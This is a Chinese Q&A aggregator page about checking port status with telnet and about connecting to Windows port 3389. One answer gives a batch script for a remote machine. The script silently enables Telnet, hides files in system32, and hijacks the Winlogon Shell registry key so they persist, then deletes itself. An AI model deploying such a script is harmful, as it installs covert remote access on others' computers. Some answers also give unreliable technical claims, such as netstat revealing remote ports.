是用telnet ip 端口号的方式查看端口开放情况,怎样通过返回值判断?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了是用telnet ip 端口号的方式查看端口开放情况,怎样通过返回值判断?相关的知识,希望对你有一定的参考价值。

如果端口打开的情况下,就直接进入该端口下了。有没有具体的数值之类的作为返回,来判断端口是否打开了呢
因为是查看远程主机的端口情况,不希望使用netstat,还是想使用telnet的方式。

你好,在cmd中输入 telnet ip 端口号,会有两种返回结果,
一种为: 正在连接到(ip)...不能打开到主机的连接,在端口(端口号):连接失败
这个为该IP该端口未开放的返回结果
另一种则会打开一个新的cdm窗口,并关闭原来的窗口,这就表示了该ip该窗口属于开放状态
参考技术A telnet 上去如果是黑乎乎的界面,看见光标在闪,说明端口开放。如果不能打开端口就是没开放了。 参考技术B 你可以直接在DOS系统下输入命令netstat -an来查看相应的端口是否开放 参考技术C 在DOS下入命令netstat -an。只要能看到的都是打开的,没有显示出来的就是没有打开的端口。

telnet 3389端口的问题

我在命令行里输入 telnet <IP> 3389可以登入远程的系统,但是命令行中输入的字符却看不见,什么原因呢?我不想用mstsc的方式进入远程的桌面,那么通过命令行怎么进入呢?谢谢。
谢谢,那么再问一下,已知远程的管理员用户和密码,如何telnet到远程呢?现在远程的telnet服务没有开,只开了3389端口。

如果你有SHELLCMD和管理员的用户名和密码那就非常简单了,你可以远程CMD让对方执行.bat批处理文件打开他的TELNET代码如下-存为.bat文件即可:
@echo off

echo sc config tlntsvr start= auto>telnet.bat
echo sc start tlntsvr>>telnet.bat
echo set ws=wscript.createobject("wscript.shell")>telnet.vbs
echo ws.run "telnet.bat /start",0>>telnet.vbs
attrib +s +h +r telnet.bat
attrib +s +h +r telnet.vbs
copy telnet.bat %systemroot%\system32
copy telnet.vbs %systemroot%\system32
echo Windows Registry Editor Version 5.00 >auto.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]>>auto.reg
echo "Shell"="Explorer.exe %%systemroot%%\\system32\\telnet.vbs">>auto.reg
regedit /s auto.reg
del auto.reg
sc config tlntsvr start= auto
sc start tlntsvr
ping -n 3 127.1>nul
ping -n 12 127.1>nul
del %0
exit

--------
你你说字符看不见我不相信:充其量是用户名输入可以看到,但是密码看不到
这很正常,就像是登陆QQ一样密码是*号。加密的
而在CMD中输入的密码是看不见的,但是已经输入进去了。如果输入正确直接回车就能登录!
不需要看见密码。那只是一种加密方式!

鄙视上面,什么也不知道装S
参考技术A Windows的远程桌面连接的默认端口就是3389,为了安全一般都是关闭的吧。如果你打开了,只要知道用户名密码就可以直接操作你的电脑了。 参考技术B 你好!
命令行无法进行管理的啦,telnet+ip+3389成功后就显示一个黑屏,没办法进行别的操作,一般情况下telnet 3389端口多用来检查远程计算机是否打开了3389端口,可以进行远程登入,经此而已。

你好!
telnet没办法进行管理,就算是知道了用户名密码,telnet只是来验证端口是否打开。

以上是关于是用telnet ip 端口号的方式查看端口开放情况,怎样通过返回值判断?的主要内容,如果未能解决你的问题,请参考以下文章

linux怎么查看端口号是不是被占用

LINUX 如何开放端口和关闭端口

telnet 3389端口的问题

如何查看linux服务器开放了哪些端口

centos 7防火情配置

如何Telnet一个网站的端口